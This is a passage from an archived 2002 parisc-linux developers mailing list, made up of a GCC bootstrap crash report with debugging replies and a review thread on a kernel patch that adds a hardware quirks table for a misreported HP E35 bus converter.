X-Virus-Scanned: by AMaViS snapshot-20020300
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16837

On Fri, 15 Nov 2002, John David Anglin wrote:

> was picking, I would go with the current mainline 3.3 or the debian 3.0.

Have you been able to compile a pre3.3 from CVS on parisc ?

regex.c:8214: internal compiler error: Segmentation fault
Please submit a full bug report,

*tralalala*

-- 
Bjoern A. Zeeb				bzeeb at Zabbadoz dot NeT
56 69 73 69 74				http://www.zabbadoz.net/



From - Thu Nov 08 21:25:33 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ryan Bradetich <rbradetich@uswest.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [RFC] Patch to handle parisc-device quirks/bugs.
Date: 17 Nov 2002 12:05:09 -0700
Lines: 117
Approved: news@gmane.org
Message-ID: <1037559910.26816.9.camel@beavis>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621940 17315 80.91.229.3 (22 Nov 2014 02:05:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:05:40 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Nov 17 12:05:15 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from beavis.ybsoft.com (bradetich.net [209.161.7.161])
	by dsl2.external.hp.com (Postfix) with ESMTP id D608B482E
	for <parisc-linux@lists.parisc-linux.org>; Sun, 17 Nov 2002 12:05:14 -0700 (MST)
Original-Received: from localhost.localdomain (beavis.ybsoft.com [10.0.0.2])
	by beavis.ybsoft.com (Postfix) with ESMTP id 388342B100
	for <parisc-linux@lists.parisc-linux.org>; Sun, 17 Nov 2002 12:05:10 -0700 (MST)
X-Mailer: Ximian Evolution 1.0.8 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16838

Hello parisc-linux hackers,

I have written a small patch to handle a case on the E35 where
the device is mis-reported.  Specifically, the upper port of the
HP-PB bus converter is reported as:

	U2-IOA BC GSC+ Port

This is obviously wrong since U2 connects runway to GSC and this
bus converer is attempting to connect GSC to HP-PB. The correct
bus converter is:

	Gecko BOA BC GSC+ Port

The following patch fixes this problem by adding a HP hardare
quirks table, and fixing up the device early on in the discovery
process so everything else just works.


My question about the patch is is the interface generic enough.
The one thing I do not like is depending upon the HPA of the
device to determine the quirk, but I could not think of a 
different/better way to handle this.

Thoughts?

- Ryan




Index: arch/parisc/kernel/drivers.c
===================================================================
RCS file: /var/cvs/linux-2.5/arch/parisc/kernel/drivers.c,v
retrieving revision 1.5
diff -u -p -r1.5 drivers.c
--- arch/parisc/kernel/drivers.c	16 Nov 2002 17:54:08 -0000	1.5
+++ arch/parisc/kernel/drivers.c	17 Nov 2002 18:54:37 -0000
@@ -416,6 +416,8 @@ alloc_pa_dev(unsigned long hpa, struct h
 	dev->id.sversion = ((iodc_data[4] & 0x0f) << 16) |
 			(iodc_data[5] << 8) | iodc_data[6];
 	dev->hpa = hpa;
+
+	parisc_hardware_quirks(dev);
 	name = parisc_hardware_description(&dev->id);
 	if (name) {
 		strncpy(dev->name, name, sizeof(dev->name)-1);
Index: arch/parisc/kernel/hardware.c
===================================================================
RCS file: /var/cvs/linux-2.5/arch/parisc/kernel/hardware.c,v
retrieving revision 1.4
diff -u -p -r1.4 hardware.c
--- arch/parisc/kernel/hardware.c	3 Nov 2002 01:52:48 -0000	1.4
+++ arch/parisc/kernel/hardware.c	17 Nov 2002 18:54:38 -0000
@@ -1289,6 +1289,21 @@ char *cpu_name_version[][2] = {
 	[pcxw2]	{ "PA8700 (PCX-W2)",	"2.0" }
 };
 
+static struct hp_hardware_quirk {
+	unsigned long hpa;
+	struct parisc_device_id quirk;
+	struct parisc_device_id real;
+} hp_hardware_quirk_list[] __initdata = {
+	/* E35 - Gecko BOA GSC Bus Converter is reported */
+	/* 	 as a U2 GSC Bus converter. */
+	{ 0xfffb8000,	{HPHW_BCPORT, 0, 0x501, 0x0000c },
+			{HPHW_BCPORT, 0, 0x500, 0x0000c }},
+
+	/* NULL terminated list */
+	{ 0x0,		{ HPHW_FAULTY, 0, 0x00, 0x0 },
+			{ HPHW_FAULTY, 0, 0x00, 0x0 }},
+};
+
 const char * __init
 parisc_hardware_description(struct parisc_device_id *id)
 {
@@ -1343,3 +1358,21 @@ parisc_get_cpu_type(unsigned long hversi
 	return pcx;	/* not reached: */
 }
 
+
+void __init parisc_hardware_quirks(struct parisc_device *dev)
+{
+	struct hp_hardware_quirk *list;
+
+	for(list = hp_hardware_quirk_list; list->hpa; list++) {
+		if((dev->hpa == list->hpa) && 
+			(dev->id.hw_type == list->quirk.hw_type) &&
+			(dev->id.hversion == list->quirk.hversion) &&
+			(dev->id.sversion == list->quirk.sversion)) 
+		{
+			dev->id.hw_type = list->real.hw_type;
+			dev->id.hversion = list->real.hversion;
+			dev->id.sversion = list->real.sversion;
+			return;
+		}
+	}
+}
Index: include/asm-parisc/hardware.h
===================================================================
RCS file: /var/cvs/linux-2.5/include/asm-parisc/hardware.h,v
retrieving revision 1.3
diff -u -p -r1.3 hardware.h
--- include/asm-parisc/hardware.h	20 Jul 2002 15:52:25 -0000	1.3
+++ include/asm-parisc/hardware.h	17 Nov 2002 18:54:38 -0000
@@ -131,6 +131,7 @@ struct bc_module {
 /* hardware.c: */
 extern const char *parisc_hardware_description(struct parisc_device_id *id);
 extern enum cpu_type parisc_get_cpu_type(unsigned long hversion);
+extern void parisc_hardware_quirks(struct parisc_device *dev);
 
 struct pci_dev;
 





From - Thu Nov 08 21:25:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [RFC] Patch to handle parisc-device quirks/bugs.
Date: Sun, 17 Nov 2002 12:33:54 -0700
Lines: 11
Approved: news@gmane.org
Message-ID: <20021117193354.21EEE482E@dsl2.external.hp.com>
References: <1037559910.26816.9.camel@beavis>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621940 17318 80.91.229.3 (22 Nov 2014 02:05:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:05:40 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Ryan Bradetich <rbradetich@uswest.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Nov 17 12:33:54 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 21EEE482E; Sun, 17 Nov 2002 12:33:54 -0700 (MST)
In-Reply-To: Message from Ryan Bradetich <rbradetich@uswest.net> 
   of "17 Nov 2002 12:05:09 MST." <1037559910.26816.9.camel@beavis> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16839

Ryan Bradetich wrote:
> The one thing I do not like is depending upon the HPA of the
> device to determine the quirk, but I could not think of a 
> different/better way to handle this.

Could you also check the IODC device type?
Or is that also wrong?
If HPA and type match, then I'd be comfortable with it.

grant


From - Thu Nov 08 21:25:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ryan Bradetich <rbradetich@uswest.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [RFC] Patch to handle parisc-device quirks/bugs.
Date: 17 Nov 2002 12:56:55 -0700
Lines: 32
Approved: news@gmane.org
Message-ID: <1037563016.26816.12.camel@beavis>
References: <1037559910.26816.9.camel@beavis>  
	<20021117193354.21EEE482E@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621940 17321 80.91.229.3 (22 Nov 2014 02:05:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:05:40 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Nov 17 12:57:00 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from beavis.ybsoft.com (bradetich.net [209.161.7.161])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6E24F482E
	for <parisc-linux@lists.parisc-linux.org>; Sun, 17 Nov 2002 12:57:00 -0700 (MST)
Original-Received: from localhost.localdomain (ns1.ybsoft.com [10.0.0.2])
	by beavis.ybsoft.com (Postfix) with ESMTP
	id 2F2472B100; Sun, 17 Nov 2002 12:56:56 -0700 (MST)
In-Reply-To: <20021117193354.21EEE482E@dsl2.external.hp.com>
X-Mailer: Ximian Evolution 1.0.8 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16840

Grant,

I test the hpa, hw_type, hversion, and sversion for the quirk.  If all
these match, then I update the parisc_device_id with the device it
should be.

+               if((dev->hpa == list->hpa) &&
+                       (dev->id.hw_type == list->quirk.hw_type) &&
+                       (dev->id.hversion == list->quirk.hversion) &&
+                       (dev->id.sversion == list->quirk.sversion))


Thanks,

- Ryan


On Sun, 2002-11-17 at 12:33, Grant Grundler wrote:
> Ryan Bradetich wrote:
> > The one thing I do not like is depending upon the HPA of the
> > device to determine the quirk, but I could not think of a 
> > different/better way to handle this.
> 
> Could you also check the IODC device type?
> Or is that also wrong?
> If HPA and type match, then I'd be comfortable with it.
> 
> grant
> 




From - Thu Nov 08 21:25:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [RFC] Patch to handle parisc-device quirks/bugs.
Date: Sun, 17 Nov 2002 20:00:21 +0000
Lines: 25
Approved: news@gmane.org
Message-ID: <20021117200021.E7530@parcelfarce.linux.theplanet.co.uk>
References: <1037559910.26816.9.camel@beavis>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621940 17326 80.91.229.3 (22 Nov 2014 02:05:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:05:40 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Ryan Bradetich <rbradetich@uswest.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Nov 17 13:00:28 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id DB395482E
	for <parisc-linux@lists.parisc-linux.org>; Sun, 17 Nov 2002 13:00:25 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 18DVaf-0004jj-00; Sun, 17 Nov 2002 20:00:21 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <1037559910.26816.9.camel@beavis>; from rbradetich@uswest.net on Sun, Nov 17, 2002 at 12:05:09PM -0700
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16841

On Sun, Nov 17, 2002 at 12:05:09PM -0700, Ryan Bradetich wrote:
> The following patch fixes this problem by adding a HP hardare
> quirks table, and fixing up the device early on in the discovery
> process so everything else just works.

We have some other occurrences of this kind of problem:

Graphics cards are frequently wrong.
HSC-PCI cards show up with the wrong sversion in 715/Mirage machines.
One of the Dinos in the J2240 has the wrong sversion.

We ignore the problem for gfx cards since we don't use the IDs anyway.
The Dino problems are solved by additional IDs in the Dino driver.

It is legitimate for a driver to refuse to claim a device that it's
advertised for.  So my personl preference is to advertise for all BC
ports, and then refuse to claim the ones which are actually lower ports.
That confines the knowledge to one driver.

This scheme doesn't fix the device name printout, but that seems less
important.

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:25:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ryan Bradetich <rbradetich@uswest.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [RFC] Patch to handle parisc-device quirks/bugs.
Date: 17 Nov 2002 13:22:52 -0700
Lines: 49
Approved: news@gmane.org
Message-ID: <1037564572.27005.20.camel@beavis>
References: <1037559910.26816.9.camel@beavis> 
	<20021117200021.E7530@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621941 17330 80.91.229.3 (22 Nov 2014 02:05:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:05:41 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Nov 17 13:22:56 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from beavis.ybsoft.com (bradetich.net [209.161.7.161])
	by dsl2.external.hp.com (Postfix) with ESMTP id 95E21482E
	for <parisc-linux@lists.parisc-linux.org>; Sun, 17 Nov 2002 13:22:56 -0700 (MST)
Original-Received: from localhost.localdomain (beavis.ybsoft.com [10.0.0.2])
	by beavis.ybsoft.com (Postfix) with ESMTP
	id 3EEA32B100; Sun, 17 Nov 2002 13:22:52 -0700 (MST)
In-Reply-To: <20021117200021.E7530@parcelfarce.linux.theplanet.co.uk>
X-Mailer: Ximian Evolution 1.0.8 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16842

On Sun, 2002-11-17 at 13:00, Matthew Wilcox wrote:
> On Sun, Nov 17, 2002 at 12:05:09PM -0700, Ryan Bradetich wrote:
> > The following patch fixes this problem by adding a HP hardare
> > quirks table, and fixing up the device early on in the discovery
> > process so everything else just works.
> 
> We have some other occurrences of this kind of problem:
> 
> Graphics cards are frequently wrong.
> HSC-PCI cards show up with the wrong sversion in 715/Mirage machines.
> One of the Dinos in the J2240 has the wrong sversion.

These could easily be added to the quirks list also :)

> We ignore the problem for gfx cards since we don't use the IDs anyway.
> The Dino problems are solved by additional IDs in the Dino driver.

ditto.

> It is legitimate for a driver to refuse to claim a device that it's
> advertised for.  So my personl preference is to advertise for all BC
> ports, and then refuse to claim the ones which are actually lower ports.
> That confines the knowledge to one driver.


So for this case, you would rather see the U2 GSC+ port added to the
hppb.c driver, and simply not-claim any driver that does not reside on
the central bus?  This would work because ccio only claims devices for
the U2 runway side, not the GSC side.

> This scheme doesn't fix the device name printout, but that seems less
> important.

The quirks fixes the print-outs, plus all these problems are fixed in
one place, drivers do not even to know there was a problem.

Either way works for me really, just pointing out the reason I built it
as a quirk table to begin with.

Thanks,

-Ryan

> -- 
> Revolutions do not require corporate support.
> 




From - Thu Nov 08 21:25:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [RFC] Patch to handle parisc-device quirks/bugs.
Date: Sun, 17 Nov 2002 13:48:20 -0700
Lines: 12
Approved: news@gmane.org
Message-ID: <20021117204821.026C1482E@dsl2.external.hp.com>
References: <1037559910.26816.9.camel@beavis> <20021117200021.E7530@parcelfarce.linux.theplanet.co.uk>  <1037564572.27005.20.camel@beavis>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621941 17334 80.91.229.3 (22 Nov 2014 02:05:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:05:41 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Ryan Bradetich <rbradetich@uswest.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Nov 17 13:48:21 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 026C1482E; Sun, 17 Nov 2002 13:48:20 -0700 (MST)
In-Reply-To: Message from Ryan Bradetich <rbradetich@uswest.net> 
   of "17 Nov 2002 13:22:52 MST." <1037564572.27005.20.camel@beavis> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16843

Ryan Bradetich wrote:
> > This scheme doesn't fix the device name printout, but that seems less
> > important.
> 
> The quirks fixes the print-outs, plus all these problems are fixed in
> one place, drivers do not even to know there was a problem.

For users, the name printout *is* important.
It helps determine which devices are really in the box and are supported.

grant


From - Thu Nov 08 21:25:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [2.5] next issues ...
Date: Sun, 17 Nov 2002 15:48:21 -0500 (EST)
Lines: 38
Approved: news@gmane.org
Message-ID: <200211172048.gAHKmLu0018188@hiauly1.hia.nrc.ca>
References: <Pine.BSF.4.44.0211171732160.39295-100000@e0-0.zab2.int.zabbadoz.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621941 17336 80.91.229.3 (22 Nov 2014 02:05:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:05:41 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: bzeeb-lists@lists.zabbadoz.net (Bjoern A. Zeeb)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Nov 17 13:48:27 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id A7B7A482E
	for <parisc-linux@lists.parisc-linux.org>; Sun, 17 Nov 2002 13:48:26 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id gAHKmLot018190;
	Sun, 17 Nov 2002 15:48:22 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id gAHKmLu0018188;
	Sun, 17 Nov 2002 15:48:21 -0500 (EST)
In-Reply-To: <Pine.BSF.4.44.0211171732160.39295-100000@e0-0.zab2.int.zabbadoz.net> from "Bjoern A. Zeeb" at Nov 17, 2002 05:34:23 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16844

> On Fri, 15 Nov 2002, John David Anglin wrote:
> 
> > was picking, I would go with the current mainline 3.3 or the debian 3.0.
> 
> Have you been able to compile a pre3.3 from CVS on parisc ?

Yes, many many times.  However, I almost never start from debian 3.0.4.

> regex.c:8214: internal compiler error: Segmentation fault
> Please submit a full bug report,

If this occurred in stage1, the seg fault was in the bootstrap compiler.
Problems with debian 3.0.4 need to be reported on the debian list.
Otherwise, follow the directions for a GCC bug report.

When I saw your report, I started a new bootstrap and it has passed the
point of the above ICE.  Thus, the problem could be in the following
areas:

1) Your bootstrap compiler is broken for one reason or another.  Regex.c
   is a pretty stable bit of code.

2) Your system is unstable.  Various parisc-linux systems have had memory
   management problems causing random segmentation faults.  This has been
   particularly true for SMP configurations.  Sometimes just restarting
   the build will work in this case.

3) There have been problems with bash causing seg faults.  Glibc could
   be involved.

You have to be specific about with compiler version was used for the
bootstrap and the configuration options used for the build.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:25:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Bjoern A. Zeeb" <bzeeb-lists@lists.zabbadoz.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [2.5] next issues ...
Date: Sun, 17 Nov 2002 21:13:15 +0000 (UTC)
Lines: 63
Approved: news@gmane.org
Message-ID: <Pine.BSF.4.44.0211172053420.39295-100000@e0-0.zab2.int.zabbadoz.net>
References: <200211172048.gAHKmLu0018188@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621942 17338 80.91.229.3 (22 Nov 2014 02:05:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:05:42 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Nov 17 14:12:44 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from transport.cksoft.de (transport.cksoft.de [62.111.66.27])
	by dsl2.external.hp.com (Postfix) with ESMTP id 30210482E
	for <parisc-linux@lists.parisc-linux.org>; Sun, 17 Nov 2002 14:12:44 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by transport.cksoft.de (Postfix) with ESMTP
	id 0AF771FFEAD; Sun, 17 Nov 2002 22:12:39 +0100 (CET)
Original-Received: by transport.cksoft.de (Postfix, from userid 66)
	id 58A281FFED8; Sun, 17 Nov 2002 22:12:38 +0100 (CET)
Original-Received: by mail.int.zabbadoz.net (Postfix, from userid 1060)
	id C48F122E1C; Sun, 17 Nov 2002 21:13:15 +0000 (UTC)
Original-Received: from localhost (localhost [127.0.0.1])
	by mail.int.zabbadoz.net (Postfix) with ESMTP
	id BB2EE22E17; Sun, 17 Nov 2002 21:13:15 +0000 (UTC)
X-X-Sender: bz@e0-0.zab2.int.zabbadoz.net
In-Reply-To: <200211172048.gAHKmLu0018188@hiauly1.hia.nrc.ca>
X-Virus-Scanned: by AMaViS snapshot-20020300
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
